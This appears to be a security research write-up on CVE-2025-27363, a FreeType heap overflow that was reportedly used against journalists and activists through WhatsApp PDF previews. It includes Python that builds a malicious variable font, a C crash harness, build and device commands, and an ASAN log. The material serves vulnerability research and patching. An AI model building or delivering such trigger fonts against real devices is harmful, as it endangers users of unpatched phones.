TL;DR — A signed-short truncation in FreeType ≤ 2.13.0 turns a composite glyph's component count into −3, causing a one-slot heap allocation to receive four phantom-point writes. The vulnerability was actively exploited via WhatsApp PDF auto-preview before a patch existed — no user interaction required. We reproduced the crash on a real Samsung Galaxy S20+ and confirmed the heap-buffer-overflow with AddressSanitizer. Android 12 and below (~1 billion devices) will never receive the OS-level fix.
This article walks through the root cause, the complete WhatsApp attack path, ASAN-confirmed crash reproduction on real hardware, the Android and iOS exposure landscape, and what researchers can learn from this class of vulnerability.
FreeType is the world's most widely deployed font rendering library. It converts raw font bytes — TrueType, OpenType, variable fonts — into the pixel shapes your screen displays. It ships inside Android (external/freetype → libft2.so), inside Chromium, inside PDFium, inside game engines, and inside virtually every PDF viewer ever written.
Because FreeType is invoked automatically whenever anything renders text, it runs in high-privilege contexts with no sandboxing and no permission prompt. A bug in FreeType isn't a bug in a user-facing feature — it's a bug in infrastructure that fires before the user does anything. That's what makes CVE-2025-27363 so dangerous in the wrong hands.
Variable fonts (TrueType GX format) allow a single font file to encode an entire design space across continuous axes. An application activates a point in that space by calling FT_Set_Var_Design_Coordinates(), or by loading the font as a named instance using the (1 << 16) | N face index trick.
When either happens, FreeType sets FT_IS_NAMED_INSTANCE() and activates the GX_VAR_SUPPORT code path inside load_truetype_glyph() in src/truetype/ttgload.c. This path allocates a buffer to hold the four phantom points that describe each glyph's advance width and sidebearings — and this is where the bug lives.
/* ttgload.c:1909 — the vulnerable allocation */
limit = (FT_Short)gloader->current.num_subglyphs;
if ( FT_NEW_ARRAY( points, limit + 4 ) )
goto Exit;
points[i++] = loader->pp1; /* index 0 — within bounds */
points[i++] = loader->pp2; /* index 1 — OOB WRITE */
points[i++] = loader->pp3; /* index 2 — OOB WRITE */
points[i ] = loader->pp4; /* index 3 — OOB WRITE */
The trigger is a composite glyph declaring num_subglyphs = 0xFFFD (65,533 decimal). The cast to FT_Short — a signed 16-bit integer — silently wraps this to −3:
num_subglyphs = 65533 /* attacker-controlled value in the font file */
limit = (FT_Short)(65533)
= (FT_Short)(0xFFFD)
= -3 ← signed-short overflow
FT_NEW_ARRAY(points, limit + 4)
= FT_NEW_ARRAY(points, -3 + 4)
= FT_NEW_ARRAY(points, 1) ← allocates ONE FT_Vector = 16 bytes
points[0] = loader->pp1 → OK (within the 1-slot allocation)
points[1] = loader->pp2 → OOB WRITE (+16 bytes past end)
points[2] = loader->pp3 → OOB WRITE (+32 bytes past end)
points[3] = loader->pp4 → OOB WRITE (+48 bytes past end)
Three FT_Vector structures are written past the end of a one-element heap allocation. The content of pp2, pp3, and pp4 is derived from font-file data — giving the attacker control over the values written to adjacent heap memory.
Three trigger conditions must be true simultaneously:
| Condition | How the attacker satisfies it |
|---|---|
TT_CONFIG_OPTION_GX_VAR_SUPPORT compiled in | Default in every major build — no action needed |
| Face loaded as a variable font | Include an fvar table in the font |
num_subglyphs = 0xFFFD in a composite glyph | Write 0xFFFD as the component count in the glyf table |
This vulnerability was actively exploited in the wild via WhatsApp before any public patch existed. The delivery mechanism requires no victim interaction beyond receiving a message.
num_subglyphs = 0xFFFD. To the victim it appears as an ordinary document. No download prompt. No tap.ttgload.c:1929FT_NEW_ARRAY(points, 1) allocates 16 bytes. Three phantom-point writes land 16, 32, and 48 bytes past the end of the allocation — in adjacent heap memory controlled by the attacker's font data.BIGPRETZEL appears in Android system logs on infected devices.Meta's WhatsApp security team discovered this vulnerability on March 11, 2025 — not while auditing FreeType, but while investigating delivery channels used by commercial spyware operators. The vulnerability was already being actively exploited at the time of discovery.
Targets included journalists, lawyers, and civil-society activists in Australia, Canada, Denmark, Italy, Cyprus, Singapore, and Israel. The campaign was disrupted server-side by WhatsApp in December 2024, but the underlying Android vulnerability remained unpatched until May 2025 — eight weeks after public disclosure.
.watchface attachment, triggering auto-parsing with zero user interaction. CVE-2025-27363 is the structurally identical Android counterpart: a font-feature bug delivered inside an auto-processed document attachment.
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HWe built cve_2025_27363_v2.ttf — a 393 KB variable font satisfying all three trigger conditions:
| Table | Content |
|---|---|
fvar | One axis (wght, 100–900), one named instance at weight 400. Activates the GX_VAR code path. |
cmap | Format 4. Maps U+0025 (%) → glyph 2; U+0020 (space) → glyph 1 |
glyf | Glyphs 0, 1: empty. Glyph 2: composite with 65,533 components, all referencing glyph 1 |
hhea, OS/2, head, post, loca | Minimal valid values |
# Writing the composite glyph with 0xFFFD components
NUM_COMPONENTS = 0xFFFD # (FT_Short)(0xFFFD) = -3
glyf_data = struct.pack(">h", -1) # numberOfContours = -1 → composite glyph
for i in range(NUM_COMPONENTS):
flags = 0x0002 # ARGS_ARE_XY_VALUES
glyf_data += struct.pack(">HHbb", flags, 1, 0, 0) # ref glyph 1, offset (0,0)
Loading as a named instance activates the GX_VAR path, which fires the bug on the first FT_Load_Glyph call:
/* cve_27363_crash.c */
FT_Long face_index = (1L << 16) | 0L; /* named instance 0 → sets FT_IS_NAMED_INSTANCE */
err = FT_New_Face(lib, font_path, face_index, &face);
/* Fallback: same effect via FT_Set_Var_Design_Coordinates */
FT_Fixed coords[1] = { 400 * 65536 };
FT_Set_Var_Design_Coordinates(face, 1, coords);
/* This call triggers load_truetype_glyph → GX_VAR branch → OOB write */
err = FT_Load_Glyph(face, 2, FT_LOAD_DEFAULT);
git clone --depth 1 --branch VER-2-13-0 \
https://gitlab.freedesktop.org/freetype/freetype.git freetype-2.13.0
cd freetype-2.13.0 && mkdir build_release && cd build_release
cmake .. -DCMAKE_BUILD_TYPE=Release \
-DFT_DISABLE_HARFBUZZ=ON -DFT_DISABLE_BROTLI=ON -DFT_DISABLE_PNG=ON
cmake --build . -j$(nproc)
clang -g -O0 -I/tmp/freetype-2.13.0/include \
-o cve_27363_crash cve_27363_crash.c \
/tmp/freetype-2.13.0/build_release/libfreetype.a -lm -lz
./cve_27363_crash cve_2025_27363_v2.ttf
NDK=/tmp/android-ndk-r27c
TC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64
# Build FreeType 2.13.0 for ARM64 with ASAN
cmake -S /tmp/freetype-2.13.0 -B /tmp/freetype-2.13.0/build_android_asan \
-DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DFT_DISABLE_HARFBUZZ=ON -DFT_DISABLE_BROTLI=ON -DFT_DISABLE_PNG=ON
cmake --build /tmp/freetype-2.13.0/build_android_asan -j$(nproc)
# Build the harness binary
$TC/bin/aarch64-linux-android31-clang \
-fsanitize=address -static-libsan -g -O1 \
-I/tmp/freetype-2.13.0/include \
-o cve_27363_asan_android cve_27363_crash.c \
/tmp/freetype-2.13.0/build_android_asan/libfreetype.a -lm -lz
# Push and run on device
adb push cve_27363_asan_android cve_2025_27363_v2.ttf /data/local/tmp/
adb shell "cd /data/local/tmp && \
ASAN_OPTIONS=log_path=/data/local/tmp/asan_ft.log:abort_on_error=1 \
./cve_27363_asan_android cve_2025_27363_v2.ttf"
adb pull /data/local/tmp/asan_ft.log.21042 asan_ft.log
=== CVE-2025-27363 FreeType ≤2.13.0 composite phantom-point OOB ===
Font: cve_2025_27363_v2.ttf
--- overflow math ---
num_subglyphs = 65533 (0xFFFD)
limit = (FT_Short)(N) = -3 ← signed-short overflow!
FT_NEW_ARRAY(points, N+4) = FT_NEW_ARRAY(points, 1)
Allocates 1 FT_Vector = 16 bytes
Writes pp1 at points[0] → OK (within bounds)
Writes pp2 at points[1] → OOB WRITE (+16 bytes past alloc)
Writes pp3 at points[2] → OOB WRITE (+32)
Writes pp4 at points[3] → OOB WRITE (+48)
------------------------------------
Face loaded: cve_2025_27363_v2.ttf (num_faces=1, num_glyphs=3)
Is named instance: YES
GX_VAR path will activate: YES ← bug fires
[*] Loading glyph index 2 (trigger composite — 65,533 subglyphs)...
[!] Signal caught — heap OOB write confirmed
FT_NEW_ARRAY(points,1) then wrote pp2/pp3/pp4 at indices 1-3.
==21042==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x005f65110200 at pc 0x005d8a76dfa4 bp 0x007fd1c03120 sp 0x007fd1c02910
WRITE of size 16 at 0x005f65110200 thread T0
#0 __asan_memcpy asan_interceptors_memintrinsics.cpp:63
#1 load_truetype_glyph ttgload.c:1929
#2 TT_Load_Glyph ttdriver.c:484
#3 FT_Load_Glyph ftobjs.c:1065
#4 af_loader_load_glyph afloader.c:339
#5 main cve_27363_crash.c:131
0x005f65110200 is located 0 bytes after 16-byte region
[0x005f651101f0, 0x005f65110200)
allocated by thread T0:
#0 __interceptor_malloc
#1 ft_mem_realloc ftutil.c:101
#2 load_truetype_glyph ttgload.c:1909 ← FT_NEW_ARRAY(points, 1)
Shadow bytes around the buggy address:
0x005f65110100: fa fa 00 fa fa fa 00 fa fa fa 00 06 fa fa 00 fa
0x005f65110180: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
=>0x005f65110200:[fa]fa 01 fa fa fa 02 fa fa fa 00 00 fa fa fa fa
^^^
[fa] = heap left redzone — first byte past allocation
==21042==ABORTING
The [fa] shadow byte marks ASAN's heap left redzone — the first byte past the allocated region. The write lands precisely 0 bytes after the 16-byte FT_NEW_ARRAY(points, 1) allocation made at ttgload.c:1909.
FreeType on Android ships as libft2.so — an LLNDK-stable library consumed by multiple system components. Any process that renders text from a variable font traverses this path:
FontVariationAxis Java API (Android O / API 26+)
↓
Font.Builder.setFontVariationSettings()
↓
Minikin native layer → FontFamily.cpp → createFontWithVariation()
↓
HbFontCache.cpp → hb_font_set_variations() → HarfBuzz
↓
FreeType → FT_Set_Var_Design_Coordinates()
↓
FT_Load_Glyph() → load_truetype_glyph()
↓ BUG FIRES HERE
ttgload.c:1929 — OOB write of phantom points pp2, pp3, pp4
Key high-value system targets:
libhwui → libminikin → libft2external/pdfium) — processes PDF embedded fonts through libft2.so — the exact delivery channel used in the wildlibhwui.so links libft2.so; CFI was absent from libhwui in multiple Android versions, making it a high-value ROP gadget source| Version | EOL Date | CVE-2025-27363 |
|---|---|---|
| Android 15 | Active | ✓ Patched — May 2025, patch level 2025-05-05 |
| Android 14 | Active | ✓ Patched — May 2025, patch level 2025-05-05 |
| Android 13 | March 2026 | ✓ Patched before EOL |
| Android 12 / 12L | March 31, 2025 | ✗ Permanently unpatched — EOL 35 days before fix |
| Android 11 | February 2024 | ✗ Permanently unpatched — EOL 15 months before fix |
| Android 10 | March 2023 | ✗ Permanently unpatched — EOL 2+ years before fix |
FreeType is not a Project Mainline module — there is no Google Play System Update delivery path for EOL devices. The only fix for Android 12 and below is a full OTA from the OEM, which will never come. Samsung ended Galaxy S20 series security support in April 2025 with its last patch dated March 2025 — one month before the FreeType fix landed.
Apple's system stack is CoreText + CoreGraphics — no FreeType at the OS level. iOS Safari and all App Store browsers use WebKit with CoreText, making them structurally immune. But third-party apps that bundle their own FreeType are independently exposed.
Unity statically compiles FreeType into every iOS build inside UnityFramework.framework. Unity 2021.3.x ships FreeType 2.12.1 — older than the vulnerable 2.13.0 and equally unpatched, with no fix planned at EOL.
| Unity Version | Bundled FreeType | Status |
|---|---|---|
| 2021.3.x (EOL) | 2.12.1 | ✗ Vulnerable — no patch planned |
| 2022.3 < 62f1 | ≤ 2.13.0 | ✗ Vulnerable |
| 2022.3.62f1+ | 2.13.3 | ✓ Patched |
| 6000.0.47f1+ | 2.13.3 | ✓ Patched |
FreeType 2.13.1 adds a bounds check before the allocation using the safe FT_QNEW_ARRAY macro — no signed-short truncation:
/* ttgload.c — patched (FreeType ≥ 2.13.1) */
n_points = (FT_UInt)gloader->current.outline.n_points;
if ( n_points > FT_OUTLINE_POINTS_MAX - 4 )
{
error = FT_THROW( Array_Too_Large );
goto Exit;
}
if ( FT_QNEW_ARRAY( points, n_points + 4 ) ) /* safe — no truncation */
goto Exit;
Running the same harness and font against FreeType 2.13.1+ returns cleanly:
./cve_27363_patched cve_2025_27363_v2.ttf
# [?] FT_Load_Glyph returned without crash (err=0). Patched build confirmed safe.
The pattern — casting an unsigned file-controlled value to a signed type and using the result as an allocation size — appears constantly in legacy C parsers. (FT_Short)(0xFFFD) = -3 is the same bug class as dozens of other CVEs. Any time you see (short) or (int16_t) on a value read from file data, test what happens near 0x8000 and 0xFFFF.
FT_NEW_ARRAY(points, 1) is at ttgload.c:1909. The writes are at ttgload.c:1929 — 20 lines later, with no size check. ASAN surfaces both in its report. Reading both in context is how you reconstruct the full path in minutes.
The GX_VAR code path only activates when a font is loaded with variation settings — a single fvar table is enough to turn it on. Every application accepting font-variation-settings CSS or Font.Builder.setFontVariationSettings() is now running code that wasn't reached before. New features equal new attack surface.
This becomes zero-click because FreeType is called automatically in PDF preview pipelines — not because of anything special about the OOB write itself. The same bug in a context requiring explicit font installation would be a local vulnerability. Always ask: what is the highest-privilege, least-interaction path to this code?
Android 12 received its last security patch in March 2025. The FreeType fix landed in May 2025. A 35-day gap created a permanent, unfixable vulnerability window for ~1 billion devices. EOL device share matters as much as patch availability date when assessing real-world exposure.
If you want to build crash harnesses, analyse patch diffs, and reproduce real-world CVEs like this from scratch, these courses take you through the full methodology:
Hands-on hacking labs: mobilehackinglab.com/hacking-labs
This research was conducted for educational purposes. All testing was performed against locally compiled vulnerable binaries and our own crafted fonts on a device under our control. No production systems or third-party infrastructure were targeted.